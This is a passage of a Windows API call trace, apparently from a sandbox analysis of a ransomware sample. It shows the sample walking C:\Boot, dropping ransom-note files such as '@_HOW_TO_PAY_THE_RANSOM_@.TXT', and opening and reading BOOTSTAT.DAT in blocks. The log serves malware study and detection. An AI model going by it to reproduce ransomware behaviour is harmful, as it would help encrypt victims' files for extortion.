hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.521] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.521] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.521] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.521] FindNextFileA (in: hFindFile=0x5496d0, lpFindFileData=0x4ada68 | out: lpFindFileData=0x4ada68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa62dffc0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa62dffc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa62dffc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x12, dwReserved1=0x0, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.521] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.521] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.521] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.521] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.521] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.521] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.522] FindNextFileA (in: hFindFile=0x5496d0, lpFindFileData=0x4ada68 | out: lpFindFileData=0x4ada68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa62dffc0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa62dffc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa62dffc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x12, dwReserved1=0x0, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.522] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.522] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.522] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.522] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.522] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.522] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.522] FindNextFileA (in: hFindFile=0x5496d0, lpFindFileData=0x4ada68 | out: lpFindFileData=0x4ada68*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0068.522] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0068.522] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.522] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.522] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.522] AreFileApisANSI () returned 1 [0068.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0068.522] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4c) returned 0x544bf0 [0068.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x544bf0, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 38 [0068.522] CreateFileW (lpFileName="C:\\\\Boot\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0068.523] GetFileType (hFile=0x19c) returned 0x1 [0068.523] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0068.523] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55b610 [0068.523] GetLastError () returned 0x0 [0068.524] AreFileApisANSI () returned 1 [0068.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0068.524] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4e) returned 0x544bf0 [0068.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x544bf0, cchWideChar=39 | out: lpWideCharStr="C:\\\\Boot\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 39 [0068.524] CreateFileW (lpFileName="C:\\\\Boot\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0068.524] GetFileType (hFile=0x19c) returned 0x1 [0068.524] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0068.524] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55b610 [0068.524] GetLastError () returned 0x0 [0068.527] AreFileApisANSI () returned 1 [0068.527] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0068.527] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4c) returned 0x544bf0 [0068.527] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x544bf0, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 38 [0068.527] CreateFileW (lpFileName="C:\\\\Boot\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0068.528] GetFileType (hFile=0x19c) returned 0x1 [0068.528] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0068.528] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55b610 [0068.528] GetLastError () returned 0x0 [0068.529] FindFirstFileA (in: lpFileName="C:\\\\Boot\\*", lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa63523e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa63523e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e00053b, cFileName=".", cAlternateFileName="")) returned 0x549710 [0068.529] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa63523e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa63523e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e00053b, cFileName="..", cAlternateFileName="")) returned 1 [0068.529] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa632c280, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa632c280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa632c280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3e00053b, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.529] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.529] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.529] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.529] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa63523e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa63523e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa63523e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3e00053b, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.529] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.529] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.529] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.529] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa632c280, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa632c280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa63523e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3e00053b, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.529] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.529] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.529] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.530] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x3e00053b, cFileName="BCD", cAlternateFileName="")) returned 1 [0068.530] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x3e00053b, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0068.530] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.530] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543818 [0068.530] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543818 | out: hHeap=0x510000) returned 1 [0068.530] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.530] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.530] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.530] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.530] AreFileApisANSI () returned 1 [0068.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ad630, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0068.530] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x22) returned 0x52c738 [0068.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ad630, cbMultiByte=-1, lpWideCharStr=0x52c738, cchWideChar=17 | out: lpWideCharStr="C:\\\\Boot\\BCD.LOG") returned 17 [0068.530] CreateFileW (lpFileName="C:\\\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd8c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0068.530] GetLastError () returned 0x20 [0068.530] GetLastError () returned 0x20 [0068.530] AreFileApisANSI () returned 1 [0068.531] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5438b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0068.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x22) returned 0x52c738 [0068.531] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5438b8, cbMultiByte=-1, lpWideCharStr=0x52c738, cchWideChar=17 | out: lpWideCharStr="C:\\\\Boot\\BCD.LOG") returned 17 [0068.531] CreateFileW (lpFileName="C:\\\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x1f4 [0068.531] GetFileType (hFile=0x1f4) returned 0x1 [0068.531] GetFileInformationByHandle (in: hFile=0x1f4, lpFileInformation=0x4acfcc | out: lpFileInformation=0x4acfcc) returned 1 [0068.531] FileTimeToSystemTime (in: lpFileTime=0x4acfa0, lpSystemTime=0x4acf74 | out: lpSystemTime=0x4acf74) returned 1 [0068.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4acf74, lpLocalTime=0x4acf84 | out: lpLocalTime=0x4acf84) returned 1 [0068.532] FileTimeToSystemTime (in: lpFileTime=0x4acf90, lpSystemTime=0x4acf64 | out: lpSystemTime=0x4acf64) returned 1 [0068.532] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4acf64, lpLocalTime=0x4acf74 | out: lpLocalTime=0x4acf74) returned 1 [0068.532] FileTimeToSystemTime (in: lpFileTime=0x4acf80, lpSystemTime=0x4acf54 | out: lpSystemTime=0x4acf54) returned 1 [0068.532] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4acf54, lpLocalTime=0x4acf64 | out: lpLocalTime=0x4acf64) returned 1 [0068.532] CloseHandle (hObject=0x1f4) returned 1 [0068.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52c738 | out: hHeap=0x510000) returned 1 [0068.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.532] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x21, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0068.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543818 [0068.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543818 | out: hHeap=0x510000) returned 1 [0068.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.532] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x21, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0068.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543818 [0068.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543818 | out: hHeap=0x510000) returned 1 [0068.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.532] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x21, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0068.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543818 [0068.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543818 | out: hHeap=0x510000) returned 1 [0068.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.533] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.533] AreFileApisANSI () returned 1 [0068.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ad630, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0068.533] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2c) returned 0x556cb0 [0068.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ad630, cbMultiByte=-1, lpWideCharStr=0x556cb0, cchWideChar=22 | out: lpWideCharStr="C:\\\\Boot\\BOOTSTAT.DAT") returned 22 [0068.533] CreateFileW (lpFileName="C:\\\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd8c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.536] GetFileType (hFile=0x1f4) returned 0x1 [0068.536] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.536] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4ace58 | out: lpNewFilePointer=0x0) returned 1 [0068.537] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4ace0c | out: lpNewFilePointer=0x0) returned 1 [0068.537] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4acddc | out: lpNewFilePointer=0x0) returned 1 [0068.537] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.537] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4acddc | out: lpNewFilePointer=0x0) returned 1 [0068.537] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.537] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.538] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.540] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.540] GetLastError () returned 0x0 [0068.540] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.540] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.540] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.541] GetLastError () returned 0x0 [0068.541] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.541] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.541] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.541] GetLastError () returned 0x0 [0068.541] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.541] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.541] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.541] GetLastError () returned 0x0 [0068.541] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.542] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.542] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.542] GetLastError () returned 0x0 [0068.542] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.542] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.542] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.542] GetLastError () returned 0x0 [0068.542] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.542] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.543] SetFilePointerEx 